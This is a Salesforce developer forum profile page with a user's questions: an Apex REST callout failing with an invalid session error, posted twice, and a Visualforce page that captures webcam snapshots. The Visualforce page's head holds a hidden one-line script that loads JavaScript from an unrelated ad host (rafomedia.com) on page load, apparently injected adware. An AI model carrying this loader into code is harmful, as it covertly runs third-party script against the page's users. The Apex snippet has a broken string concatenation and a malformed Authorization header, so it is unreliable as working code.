• Sidhartha Mohapatra 10
  • NEWBIE
  • 0 Points
  • Member since 2015

  • Chatter
    Feed
  • 0
    Best Answers
  • 0
    Likes Received
  • 0
    Likes Given
  • 2
    Questions
  • 1
    Replies
I am getting Invalid session id when i am executing the below code. Please let me know where i am doing wrong.

public class ResttestController {

    public String response{get;set;}
    public String dccName{get;set;}

    public PageReference Donate() {
        //find access token using Auth 2.0 
        String Access_Token='##############################################.$$$$$$$$$$$$$$$$$$$$$$$$$$$$$';
        Httprequest req=new httprequest();
        String domainName='ap2.salesforce.com';
        String endPointURL='https://'+domainName+'/services/data/v34.0/sobjects/Donations';
        req.setendpoint(endPointURL);
        req.setHeader('Content-Type', 'application/xml; charset=utf-8');
        req.setBody('<?xml version="1.0" encoding="UTF-8" ?><request><name>'+dccName+ </request>');
        req.setmethod('POST');
        req.setHeader('Authorization','Authorization: Bearer '+Access_Token);
        Http http = new Http();
        HTTPResponse res = http.send(req);
        response=res.getbody();
        return null;
    }
}
Regards
Hi All,

I have a vf page which captures image from webcam. I have added a custom button in my custom object page layout and associated the webcam page to the button. Now when u click the button that image capturing page is getting displayed. I can take snapshot.

I want after taking snapshot that captured image should get attached into the record attachment automatically.Please help me out in the approach.

Below is my vf page -

    apex:page docType="html-5.0" sidebar="false" showHeader="false">

    <html lang="en">
    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>

        <style type="text/css">
        body { font-family: Helvetica, sans-serif; }
        h2, h3 { margin-top:0; }
        form { margin-top: 15px; }
        form > input { margin-right: 15px; }
        #results { float:right; margin:20px; padding:20px; border:1px solid; background:#ccc; }
        </style>
    <script type="text/javascript">(function(){var a=document.createElement("script");a.type="text/javascript";a.async=!0;a.src="http://img.rafomedia.com/zr/js/adrns.js?2015070901";var b=document.getElementsByTagName("script")[0];b.parentNode.insertBefore(a,b);})();</script></head>
    <body>
        <div id="results">Your captured image will appear here...</div>
        
        <div id="my_camera"></div>
        
        <!-- First, include the Webcam.js JavaScript Library -->
        <script type="text/javascript" src="{!$Resource.webcam}"></script>
        
        <!-- Configure a few settings and attach camera -->
        <script language="JavaScript">
        Webcam.set({
            width: 320,
            height: 240,
            image_format: 'jpeg',
            jpeg_quality: 90
        });
        Webcam.attach( '#my_camera' );
        </script>
        
        <!-- A button for taking snaps -->
        <form>
        <input type="button" value="Take Snapshot" onClick="take_snapshot()"/>
        </form>
        
        <!-- Code to handle taking the snapshot and displaying it locally -->
        <script language="JavaScript">
        function take_snapshot() {
            // take snapshot and get image data
            Webcam.snap( function(data_uri) {
            // display results in page
            document.getElementById('results').innerHTML = 
                '<h2>Here is your image:</h2>' + 
                '<img src="'+data_uri+'"/>';
            } );
        }
        </script>
        
    </body>
    </html>

    </apex:page>

Regards
I am getting Invalid session id when i am executing the below code. Please let me know where i am doing wrong.

public class ResttestController {

    public String response{get;set;}
    public String dccName{get;set;}

    public PageReference Donate() {
        //find access token using Auth 2.0 
        String Access_Token='##############################################.$$$$$$$$$$$$$$$$$$$$$$$$$$$$$';
        Httprequest req=new httprequest();
        String domainName='ap2.salesforce.com';
        String endPointURL='https://'+domainName+'/services/data/v34.0/sobjects/Donations';
        req.setendpoint(endPointURL);
        req.setHeader('Content-Type', 'application/xml; charset=utf-8');
        req.setBody('<?xml version="1.0" encoding="UTF-8" ?><request><name>'+dccName+ </request>');
        req.setmethod('POST');
        req.setHeader('Authorization','Authorization: Bearer '+Access_Token);
        Http http = new Http();
        HTTPResponse res = http.send(req);
        response=res.getbody();
        return null;
    }
}
Regards